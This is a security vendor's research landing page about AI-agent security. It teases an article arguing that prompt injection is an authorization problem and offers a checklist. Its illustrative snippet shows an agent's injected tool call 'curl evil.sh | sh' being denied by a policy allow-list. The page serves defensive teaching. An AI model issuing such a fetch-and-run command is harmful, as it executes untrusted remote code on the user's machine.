Research

Field notes from the audit trail.

Patterns, findings and arguments from 250+ real vulnerabilities found across AI-agent systems, MCP servers and developer tools. Written for the teams building and securing agent systems. The research explains the same problems Oktsec is built to control: tool access, prompt injection, MCP exposure, signed policy and verified evidence.

Research·8 min read·May 12, 2026

Prompt injection is an authorization problem.

Every few weeks a new prompt-injection trick makes the rounds, and every few weeks a new filter ships to block it. That arms race is unwinnable. The durable fix is to stop asking what the model read and start enforcing what the agent is allowed to do.

Read the article
untrusted-input → actionblocked
1# tool call requested by agent
2call shell.exec("curl evil.sh | sh")
3# policy check, not content filter
4deny shell.exec ∉ allow_list
5→ held for review · env-77a2
Free resource

The Agent Security Checklist

The same checklist we run on client code, distilled from 250+ real vulnerabilities. Vendor-neutral, no product required.

Get the checklist
Put it to work

From reading about agent risk to controlling it.

The control loop in these articles is the product. See it run on your own environments.